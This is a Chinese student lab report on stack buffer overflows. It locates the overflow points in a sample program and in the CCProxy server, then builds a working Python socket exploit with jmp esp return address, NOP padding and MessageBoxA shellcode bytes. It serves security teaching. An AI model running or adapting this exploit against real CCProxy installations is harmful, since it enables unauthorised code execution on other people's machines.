0x01 缓冲区溢出简介
缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。
0x02 实验要求
1.请对*.exe和CCProxy.rar的溢出点(即输入数据长度为多少时,程序会发生溢出)进行定位。
2.根据你定位的溢出点,思考:如果你的Shellcode长度为500字节,那么在两种情况下,Shellcode放在参数的什么位置比较有利用执行?
3.在以上基础上完成一次shellcode的植入与运行。
要求
(1)Shellcode功能不限,可以是开端口、运行计算器(记事本)、添加帐号等 均可。
(2)Shellcode要求能够以参数的方式植入并覆盖栈空间。
(3)返回地址的EIP处只能填写jmp esp指令地址,不得填写shellcode的地址硬编码。
0x03 实验内容
0x1 定位溢出点
*
图1 用OD调试程序
找到程序执行的地方,并下断点
图2 在程序入口下断点
在OD中找到栈溢出的地方
图3 堆栈情况
在上图中发现输入长度为20个字节的时候正好能将ret
地址覆盖
当长度为16字节时(最后有截断字符0x00 地址变为了0x401100)恰好能将返回地址设置到程序执行前,以此来实现重复执行。
图4 输入长度为16
利用IDA反汇编的结果,可以直接看到产生溢出的函数
图5 反汇编
发现产生溢出的strcpy函数,因为程序没有对argv的长度进行限制
CCproxy
- 特定字符
s = ''
for i in range(10):
for j in range(10):
for m in range(10):
for(n) in range(10):
s += str(i)+str(j)+str(m)+str(n)
if len(s) == 2000 :
print s
生成字节序不同的2000个字节
图6 生成不同字节
图7 OD堆栈
可以看到EIP的值前面是高字节后面是低字节 则为0253
图8 搜索字符
长度为1012位
- 脚本爆破
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.43.254", 23))
num = 15
while 1:
s.send('ping'+'A'*num+'\n') #000a0d42 1013 0a0d4242 1014 0042000a 1011
string = s.recv(4096)
print string
if 'Host' in string or 'CCProxy' in string or 'be' in string:
strtt = 1
else:
print 'no'
print num
num += 1
图9 爆破寻找
0x2 IDA查看溢出函数
利用IDA字符串搜索Host not found
查找溢出函数位置
图10 寻找溢出函数
0x3 溢出调试
首先根据IDA的静态分析设置调试断点0x430524
发送2000个字节
图11 堆栈情况
发现程序只拷贝1024个字节后面再长的字节都会被前面的覆盖
0x4 编写shellcode
1.找到messagebox的函数地址
利用自己编写的弹窗函数寻找
图12 寻找地址
0x77D507EA
jmp esp
地址选用\x12\x45\xfa\x7f
messagebox函数的参数有四个
33 DB XOR EBX,EBX 压入NULL结尾的”failwest”字符串。之所以用EBX清零后入栈做为字符串的截断符,是为了避免“PUSH 0”中的NULL,否则植入的机器码会被strcpy函数截断。
53 PUSH EBX
68 77 65 73 74 PUSH 74736577
68 66 61 69 6C PUSH 6C696166
8B C4 MOV EAX,ESP EAX里是字符串指针
53 PUSH EBX 四个参数按照从右向左的顺序入栈,分别为: (0,failwest,failwest,0)
50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8 EA 04 D8 77 MOV EAX, 0x77D804EA 调用MessageBoxA。注意不同的机器这里的
函数入口地址可能不同,请按实际值填入!
FF D0 CALL EAX
0x5 发送shellcode
下面利用python socket连接CCproxy
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.43.254", 23))
string = s.recv(4096)
print string
s.send('ping'
+'\x90\x90\x90\x90'
+'\x53\x68\x79\x71\x20\x20\x68\x68\x61\x63\x6b\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0'
+'\x41'*984
+'\x12\x45\xfa\x7f'
+'\x91\x92\x93\x94\x95\x96\x97\x98\x99\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'+'\r\n')
string = s.recv(4096)
print string
测试效果
图13 shellcode效果
0x04 问题
虽然知道了溢出是函数sprintf造成的,但是还是不了解为什么只复制了1024个字节,后面的又被前面的覆盖掉了。
0x05 实验总结
缓冲区溢出的实验是我对程序溢出利用有了深刻的认识理解,通过调试软件漏洞大大增长了自己的动手实践能力。同时还找到了自己不足的方面。希望在以后的学习中更加丰富自己。